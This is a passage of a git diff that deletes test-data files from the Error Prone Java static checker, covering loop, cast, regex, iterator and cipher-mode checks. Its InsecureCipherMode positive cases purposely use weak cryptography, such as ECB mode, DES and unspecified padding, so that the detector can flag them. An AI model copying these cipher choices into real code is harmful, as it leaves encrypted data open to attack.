(int i = 0; i < 10; i++) { - i--; - } - } - - public void preInc() { - // BUG: Diagnostic contains: increment - for (int i = 0; i < 10; i++) { - --i; - } - } - - public void multipleStatements() { - // BUG: Diagnostic contains: increment - for (int i = 0; i < 10; i++) { - --i; - int a = 0; - } - } - - public void multipleUpdates() { - // BUG: Diagnostic contains: increment - for (int i = 0, a = 1; i < 10; i++, a++) { - a++; - } - } - - public void multipleUpdatesOtherVar() { - // BUG: Diagnostic contains: increment - for (int i = 0, a = 1; i < 10; i++, a++) { - i++; - } - } - - public void multipleUpdatesBothVars() { - // BUG: Diagnostic contains: increment - for (int i = 0, a = 1; i < 10; i++, a++) { - a++; - i++; - } - } - - public void nestedFor() { - for (int i = 0; i < 10; i++) { - // BUG: Diagnostic contains: increment - for (int a = 0; a < 10; a++) { - a--; - } - } - } - - public void nestedForBoth() { - // BUG: Diagnostic contains: increment - for (int i = 0; i < 10; i++) { - i++; - // BUG: Diagnostic contains: increment - for (int a = 0; a < 10; a++) { - a--; - } - } - } - - public void expressionStatement() { - // BUG: Diagnostic contains: increment - for (int i = 0; i < 10; i++) i++; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InsecureCipherModeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InsecureCipherModeNegativeCases.java deleted file mode 100644 index 717b27c4466..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InsecureCipherModeNegativeCases.java +++ /dev/null @@ -1,160 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.security.KeyFactory; -import java.security.KeyPairGenerator; -import java.security.NoSuchAlgorithmException; -import java.security.NoSuchProviderException; -import javax.crypto.Cipher; -import javax.crypto.KeyAgreement; -import javax.crypto.NoSuchPaddingException; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class InsecureCipherModeNegativeCases { - static Cipher aesCipher; - - static { - // We don't handle any exception as this code is not meant to be executed. - try { - aesCipher = Cipher.getInstance("AES/CBC/NoPadding"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static final String AES_STRING = "AES/CBC/NoPadding"; - static Cipher aesCipherWithConstantString; - - static { - try { - aesCipherWithConstantString = Cipher.getInstance(AES_STRING); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher aesCipherWithProvider; - - static { - try { - aesCipherWithProvider = Cipher.getInstance("AES/CBC/NoPadding", "My Provider"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchProviderException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher arc4CipherConscrypt; - - static { - try { - arc4CipherConscrypt = Cipher.getInstance("ARC4", "Conscrypt"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchProviderException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher rc4CipherJsch; - - static { - try { - rc4CipherJsch = Cipher.getInstance("RC4", "JSch"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchProviderException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher arcfourCipherSunJce; - - static { - try { - arcfourCipherSunJce = Cipher.getInstance("ARCFOUR/ECB/NoPadding"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher desCipher; - - static { - try { - desCipher = Cipher.getInstance("DES/CBC/NoPadding"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher rsaCipher; - - static { - try { - rsaCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher aesWrapCipher; - - static { - try { - aesWrapCipher = Cipher.getInstance("AESWrap/ECB/NoPadding"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - public void ellipticCurveDiffieHellman() { - KeyFactory keyFactory; - KeyAgreement keyAgreement; - KeyPairGenerator keyPairGenerator; - final String ecdh = "ECDH"; - try { - keyFactory = KeyFactory.getInstance(ecdh); - keyAgreement = KeyAgreement.getInstance("ECDH"); - keyPairGenerator = KeyPairGenerator.getInstance("EC" + "DH"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InsecureCipherModePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InsecureCipherModePositiveCases.java deleted file mode 100644 index f69ee48dd56..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InsecureCipherModePositiveCases.java +++ /dev/null @@ -1,239 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.security.KeyFactory; -import java.security.KeyPairGenerator; -import java.security.NoSuchAlgorithmException; -import java.security.NoSuchProviderException; -import javax.crypto.Cipher; -import javax.crypto.KeyAgreement; -import javax.crypto.NoSuchPaddingException; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class InsecureCipherModePositiveCases { - static Cipher defaultAesCipher; - - static { - try { - // BUG: Diagnostic contains: the mode and padding must be explicitly specified - defaultAesCipher = Cipher.getInstance("AES"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher defaultRsaCipher; - - static { - try { - // BUG: Diagnostic contains: the mode and padding must be explicitly specified - defaultRsaCipher = Cipher.getInstance("RSA"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static final String AES_STRING = "AES"; - static Cipher defaultAesCipherWithConstantString; - - static { - try { - // BUG: Diagnostic contains: the mode and padding must be explicitly specified - defaultAesCipherWithConstantString = Cipher.getInstance(AES_STRING); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher explicitAesCipher; - - static { - try { - // BUG: Diagnostic contains: ECB mode must not be used - explicitAesCipher = Cipher.getInstance("AES/ECB/NoPadding"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher explicitDesCipher; - - static { - try { - // BUG: Diagnostic contains: ECB mode must not be used - explicitDesCipher = Cipher.getInstance("DES/ECB/NoPadding"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher explicitDesCipherWithProvider; - - static { - try { - // BUG: Diagnostic contains: ECB mode must not be used - explicitDesCipherWithProvider = Cipher.getInstance("DES/ECB/NoPadding", "My Provider"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchProviderException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static String transformation; - - static { - try { - transformation = "DES/CBC/NoPadding"; - // BUG: Diagnostic contains: the transformation is not a compile-time constant - Cipher cipher = Cipher.getInstance(transformation); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static void transformationAsParameter(String transformation) { - try { - // BUG: Diagnostic contains: the transformation is not a compile-time constant - Cipher cipher = Cipher.getInstance(transformation); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - class CipherWrapper { - Cipher cipher; - - // Make sure that the checker is enabled inside constructors. - public CipherWrapper() { - try { - // BUG: Diagnostic contains: the mode and padding must be explicitly specified - cipher = Cipher.getInstance("AES"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - } - - static Cipher complexCipher1; - - static { - try { - String algorithm = "AES"; - // BUG: Diagnostic contains: the transformation is not a compile-time constant - complexCipher1 = Cipher.getInstance(algorithm); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher complexCipher2; - - static { - try { - String transformation = "AES"; - transformation += "/ECB"; - transformation += "/NoPadding"; - // BUG: Diagnostic contains: the transformation is not a compile-time constant - complexCipher2 = Cipher.getInstance(transformation); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher IesCipher; - - static { - try { - // BUG: Diagnostic contains: the mode and padding must be explicitly specified - IesCipher = Cipher.getInstance("ECIES"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("ECIES/DHAES/NoPadding"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("ECIESWITHAES/NONE/PKCS5Padding"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("DHIESWITHAES/DHAES/PKCS7Padding"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("ECIESWITHDESEDE/NONE/NOPADDING"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("DHIESWITHDESEDE/DHAES/PKCS5PADDING"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("ECIESWITHAES/CBC/PKCS7PADDING"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("ECIESWITHAES-CBC/NONE/PKCS5PADDING"); - // BUG: Diagnostic contains: IES - IesCipher = Cipher.getInstance("ECIESwithDESEDE-CBC/DHAES/NOPADDING"); - - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - interface StringProvider { - String get(); - } - - public void keyOperations(StringProvider provider) { - KeyFactory keyFactory; - KeyAgreement keyAgreement; - KeyPairGenerator keyPairGenerator; - final String dh = "DH"; - try { - // BUG: Diagnostic contains: compile-time constant - keyFactory = KeyFactory.getInstance(provider.get()); - // BUG: Diagnostic contains: Diffie-Hellman on prime fields - keyFactory = KeyFactory.getInstance(dh); - // BUG: Diagnostic contains: DSA - keyAgreement = KeyAgreement.getInstance("DSA"); - // BUG: Diagnostic contains: compile-time constant - keyAgreement = KeyAgreement.getInstance(provider.get()); - // BUG: Diagnostic contains: Diffie-Hellman on prime fields - keyPairGenerator = KeyPairGenerator.getInstance(dh); - // BUG: Diagnostic contains: compile-time constant - keyPairGenerator = KeyPairGenerator.getInstance(provider.get()); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InstanceOfAndCastMatchWrongTypeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InstanceOfAndCastMatchWrongTypeNegativeCases.java deleted file mode 100644 index 927fce23174..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InstanceOfAndCastMatchWrongTypeNegativeCases.java +++ /dev/null @@ -1,283 +0,0 @@ -/* Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.io.FilterWriter; -import java.io.StringWriter; -import java.io.Writer; - -/** - * Created by sulku and mariasam on 6/6/17. - * - * @author mariasam (Maria Sam) - * @author sulku (Marsela Sulku) - */ -public class InstanceOfAndCastMatchWrongTypeNegativeCases { - - public static void notCustomClass(Object objSubClass) { - if (!(objSubClass instanceof SuperNegativeClass)) { - DisjointClass str = (DisjointClass) objSubClass; - } - } - - public static void hi(String foo) { - if (foo instanceof String) { - ((String) foo).charAt(0); - } - } - - public static void castToSameClass(String foo) { - if (foo instanceof String) { - ((String) foo).charAt(0); - } - } - - public static void castToSameClassWithExtraLines(String foo) { - if (foo instanceof String) { - String somethingBefore = "hello"; - ((String) foo).charAt(0); - String somethingAfter = "goodbye"; - } - } - - public static void castAMethod() { - if (testCall() instanceof String) { - String bar = (String) testCall(); - } - } - - public static void castToSuperType(String foo) { - if (foo instanceof String) { - Object bar = ((Object) foo).toString(); - } - } - - public static void castMethodToSuperType(String foo) { - if (testCall() instanceof String) { - Object bar = (Object) testCall(); - } - } - - public static void castToCustomSuperType() { - SuperNegativeClass superClass = new SuperNegativeClass(); - SubNegativeClass subClass = new SubNegativeClass(); - - if (subClass instanceof SubNegativeClass) { - String str = ((SuperNegativeClass) subClass).toString(); - } - } - - public static void castToSubtype(String foo) { - if (foo instanceof Object) { - String somethingBefore = "hello"; - String bar = ((String) foo).toString(); - String somethingAfter = "goodbye"; - } - } - - public static void nestedIfStatements(String foo) { - if (7 == 7) { - if (foo instanceof Object) { - String bar = ((String) foo).toString(); - } - } - } - - public static void castMethodToSubType() { - if (testCall() instanceof Object) { - String bar = ((String) testCall()).toString(); - } - } - - public static void castAMethodInElse() { - if (testCall() instanceof Object) { - String str = ""; - } else { - String bar = ((String) testCall()).toString(); - } - } - - public static void nestedIfOutside() { - SubNegativeClass subClass = new SubNegativeClass(); - if (subClass instanceof SuperNegativeClass) { - if (7 == 7) { - String bar = ((SuperNegativeClass) subClass).toString(); - } - } - } - - public static void nestedIfElseInIf() { - SubNegativeClass subClass = new SubNegativeClass(); - if (subClass instanceof SuperNegativeClass) { - if (7 == 7) { - String bar = ((SuperNegativeClass) subClass).toString(); - } else { - String str = ""; - } - } - } - - public static void elseIfMethod() { - if (testCall() instanceof Object) { - String str = ""; - } else if (7 == 7) { - String bar = ((String) testCall()).toString(); - } else { - String str = ""; - } - } - - public static void nestedSubClasses(Object objSubClass) { - if (objSubClass instanceof SuperNegativeClass) { - if (objSubClass instanceof DisjointClass) { - DisjointClass disClass = (DisjointClass) objSubClass; - } - } - } - - public static void switchCaseStatement(Object objSubClass) { - Integer datatype = 0; - if (objSubClass instanceof SuperNegativeClass) { - String str = ""; - } else { - switch (datatype) { - case 0: - DisjointClass str = (DisjointClass) objSubClass; - break; - default: - break; - } - } - } - - public static void nestedAnd(String foo, Object foo3) { - if (foo instanceof String) { - if (foo3 instanceof SuperNegativeClass && ((SuperNegativeClass) foo3).toString().equals("")) { - String str = foo3.toString(); - } - } - } - - private static void multipleElseIf(Object foo3) { - if (foo3 instanceof String) { - String str = ""; - } else if (7 == 7 && foo3 instanceof SuperNegativeClass) { - ((SuperNegativeClass) foo3).toString(); - } else if (8 == 8) { - DisjointClass dis = (DisjointClass) foo3; - } - } - - private static void orInCondition(Object foo3) { - if (foo3 instanceof String || 7 == 7) { - String str = ((DisjointClass) foo3).toString(); - } - } - - private static void castInElse(Object foo3) { - if (foo3 instanceof String) { - String str = ""; - } else { - String str = ((DisjointClass) foo3).toString(); - } - } - - private static void multipleObjectCasts(Object foo2, Object foo3) { - if (foo3 instanceof String) { - String str = ((DisjointClass) foo2).toString(); - } else { - String str = ((DisjointClass) foo3).toString(); - } - } - - private static void orsAndAnds(Object foo2) { - if (7 == 7 && (foo2 instanceof DisjointClass) && (!((DisjointClass) foo2).equals(""))) { - String str = ""; - } - } - - private static void assignmentInBlock(Object foo2) { - if (foo2 instanceof SuperNegativeClass) { - foo2 = ""; - String str = ((Integer) foo2).toString(); - } - } - - private static void assignmentInBlockElse(Object foo2) { - String foo1; - if (foo2 instanceof SuperNegativeClass) { - String str = ""; - } else { - foo1 = ""; - String str = ((Integer) foo2).toString(); - } - } - - private static void assignmentInBlockElseIf(Object foo2) { - Object foo1 = null; - if (foo2 instanceof SuperNegativeClass) { - String str = ""; - } else if (foo2 == foo1) { - foo1 = ""; - String str = ((Integer) foo2).toString(); - } - } - - private static void innerClassDecl(Object[] list) { - for (Object c : list) { - if (c instanceof String) { - try { - Writer fw = - new FilterWriter(new StringWriter()) { - public void write(int c) { - char a = (char) c; - } - }; - } catch (Exception e) { - String str = ""; - } - } - } - } - - private static void randomCode(Object foo) { - if (7 == 7) { - System.out.println("test"); - foo = (Integer) foo; - } - } - - private static void twoAssignments(Object foo, Object foo2) { - if (foo instanceof String) { - foo2 = ""; - String str = (String) foo; - foo = ""; - } - } - - public static String testCall() { - return ""; - } - - public static Object testCallReturnsObject() { - return new Object(); - } - - static class SuperNegativeClass {} - - static class SubNegativeClass extends SuperNegativeClass {} - - static class DisjointClass {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InstanceOfAndCastMatchWrongTypePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InstanceOfAndCastMatchWrongTypePositiveCases.java deleted file mode 100644 index 7b776c622e4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InstanceOfAndCastMatchWrongTypePositiveCases.java +++ /dev/null @@ -1,172 +0,0 @@ -/* Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * Created by sulku and mariasam on 6/6/17. - * - * @author mariasam (Maria Sam) - * @author sulku (Marsela Sulku) - */ -public class InstanceOfAndCastMatchWrongTypePositiveCases { - - private static void basicIllegalCast(Object foo2) { - if (foo2 instanceof SuperClass) { - // BUG: Diagnostic contains: Casting inside - String str = ((String) foo2).toString(); - } - } - - private static void basicIllegalCastJavaClass(Object foo2) { - if (foo2 instanceof String) { - // BUG: Diagnostic contains: Casting inside - double val = ((Integer) foo2).doubleValue(); - } - } - - private static void andsInIf(Object foo2) { - if (foo2 instanceof String && 7 == 7) { - // BUG: Diagnostic contains: Casting inside - double val = ((Integer) foo2).doubleValue(); - } - } - - private static void andsInIfInstanceOfLast(Object foo2) { - if (7 == 7 && foo2 instanceof String) { - // BUG: Diagnostic contains: Casting inside - double val = ((Integer) foo2).doubleValue(); - } - } - - private static void andsInIfInstanceOfMiddle(Object foo2) { - if (7 == 7 && foo2 instanceof String && 8 == 8) { - // BUG: Diagnostic contains: Casting inside - double val = ((Integer) foo2).doubleValue(); - } - } - - private static void castingInIfWithElse(Object foo2) { - if (foo2 instanceof String) { - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - } else { - String str = ""; - } - } - - private static void castMultipleInIfAndElse(Object foo2, Object foo3) { - if (foo2 instanceof String) { - String str = ((Integer) foo3).toString(); - // BUG: Diagnostic contains: Casting inside - String str2 = ((Integer) foo2).toString(); - } else { - String str = ((Integer) foo3).toString(); - String str2 = ""; - } - } - - private static void multipleAndsInIf(Object foo2) { - // BUG: Diagnostic contains: Casting inside - if (7 == 7 && (foo2 instanceof SuperClass) && (((String) foo2).equals(""))) { - String str = ""; - } - } - - private static void castOneObjectWithMultipleObjectsInIf(Object foo2, Object foo3) { - if (7 == 7 && foo3 instanceof String && foo2 instanceof String) { - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - } - } - - private static void aboveTestButDifferentOrder(Object foo2, Object foo3) { - if (7 == 7 && foo2 instanceof String && foo3 instanceof String) { - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - } - } - - private static void nestedIf(Object foo2) { - if (foo2 instanceof String) { - if (7 == 7) { - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - } - } - } - - private static void nestedIfWithElse(Object foo2) { - if (foo2 instanceof String) { - if (7 == 7) { - String str = ""; - } else { - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - } - } - } - - private static void assignmentInBlockDiffVariable(Object foo2) { - String foo1; - if (foo2 instanceof SuperClass) { - foo1 = ""; - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - } - } - - private static void assignmentInBlock(Object foo2) { - if (foo2 instanceof SuperClass) { - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - foo2 = ""; - } - } - - private static void assignmentInBlockTwice(Object foo2) { - Object foo1 = null; - if (foo2 instanceof SuperClass) { - foo1 = ""; - // BUG: Diagnostic contains: Casting inside - String str = ((Integer) foo2).toString(); - foo2 = ""; - } - } - - private static void testSameClass(Object foo) { - if (foo instanceof String) { - InstanceOfAndCastMatchWrongTypePositiveCases other = - // BUG: Diagnostic contains: Casting inside - (InstanceOfAndCastMatchWrongTypePositiveCases) foo; - } - } - - private static void testElseIf(Object foo) { - if (foo instanceof String) { - String str = (String) foo; - } else if (foo instanceof String) { - // BUG: Diagnostic contains: Casting inside - Integer i = (Integer) foo; - } else { - foo = (SuperClass) foo; - } - } - - public static String testCall() { - return ""; - } -} - -class SuperClass {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InvalidPatternSyntaxNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InvalidPatternSyntaxNegativeCases.java deleted file mode 100644 index daa7d2dac8e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InvalidPatternSyntaxNegativeCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.regex.Pattern; - -/** - * @author mdempsky@google.com (Matthew Dempsky) - */ -public class InvalidPatternSyntaxNegativeCases { - public void foo(String x) { - Pattern.compile("t"); - Pattern.compile("t", 0); - Pattern.matches("t", ""); - "".matches("t"); - "".replaceAll("t", ""); - "".replaceFirst("t", ""); - "".split("t"); - "".split("t", 0); - - Pattern.compile(x); - Pattern.compile(x, 0); - Pattern.matches(x, ""); - "".matches(x); - "".replaceAll(x, ""); - "".replaceFirst(x, ""); - "".split(x); - "".split(x, 0); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InvalidPatternSyntaxPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InvalidPatternSyntaxPositiveCases.java deleted file mode 100644 index 545f6448832..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InvalidPatternSyntaxPositiveCases.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.regex.Pattern; - -/** - * @author mdempsky@google.com (Matthew Dempsky) - */ -public class InvalidPatternSyntaxPositiveCases { - public static final String INVALID = "*"; - - { - // BUG: Diagnostic contains: Unclosed character class - Pattern.matches("[^\\]", ""); - // BUG: Diagnostic contains: Unclosed character class - Pattern.matches("[a-z", ""); - // BUG: Diagnostic contains: Illegal repetition - Pattern.matches("{", ""); - - // BUG: Diagnostic contains: - Pattern.matches(INVALID, ""); - // BUG: Diagnostic contains: - "".matches(INVALID); - // BUG: Diagnostic contains: - "".replaceAll(INVALID, ""); - // BUG: Diagnostic contains: - "".replaceFirst(INVALID, ""); - // BUG: Diagnostic contains: - "".split(INVALID); - // BUG: Diagnostic contains: - "".split(INVALID, 0); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IterableAndIteratorNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IterableAndIteratorNegativeCases.java deleted file mode 100644 index 8523c14427a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IterableAndIteratorNegativeCases.java +++ /dev/null @@ -1,78 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Iterator; - -/** - * @author jsjeon@google.com (Jinseong Jeon) - */ -public class IterableAndIteratorNegativeCases { - - /** Test Node */ - public static class MyNode { - String tag; - MyNode next; - } - - /** Test List that implements only Iterator */ - public static class MyList1 implements Iterator { - private MyNode head; - - public MyList1() { - head = null; - } - - @Override - public boolean hasNext() { - return head != null; - } - - @Override - public MyNode next() { - if (hasNext()) { - MyNode ret = head; - head = head.next; - return ret; - } - return null; - } - - @Override - public void remove() { - throw new UnsupportedOperationException("remove is not supported"); - } - - public void add(MyNode node) { - if (!hasNext()) { - head.next = node; - } - head = node; - } - } - - /** Test List that implements only Iterable */ - public static class MyList2 implements Iterable { - - @Override - public Iterator iterator() { - MyList1 l = new MyList1(); - // code to populate the list goes here - return l; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IterableAndIteratorPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IterableAndIteratorPositiveCases.java deleted file mode 100644 index 801b45bdab5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IterableAndIteratorPositiveCases.java +++ /dev/null @@ -1,126 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Iterator; - -/** - * @author jsjeon@google.com (Jinseong Jeon) - */ -public class IterableAndIteratorPositiveCases { - - /** Test Node */ - public static class MyNode { - String tag; - MyNode next; - } - - /** Test List that implements both Iterator and Iterable */ - // BUG: Diagnostic contains: both - public static class MyBadList implements Iterator, Iterable { - private MyNode head; - - public MyBadList() { - head = null; - } - - @Override - public boolean hasNext() { - return head != null; - } - - @Override - public MyNode next() { - if (hasNext()) { - MyNode ret = head; - head = head.next; - return ret; - } - return null; - } - - @Override - public void remove() { - throw new UnsupportedOperationException("remove is not supported"); - } - - public void add(MyNode node) { - if (!hasNext()) { - head.next = node; - } - head = node; - } - - @Override - public Iterator iterator() { - return this; - } - } - - /** Test List that 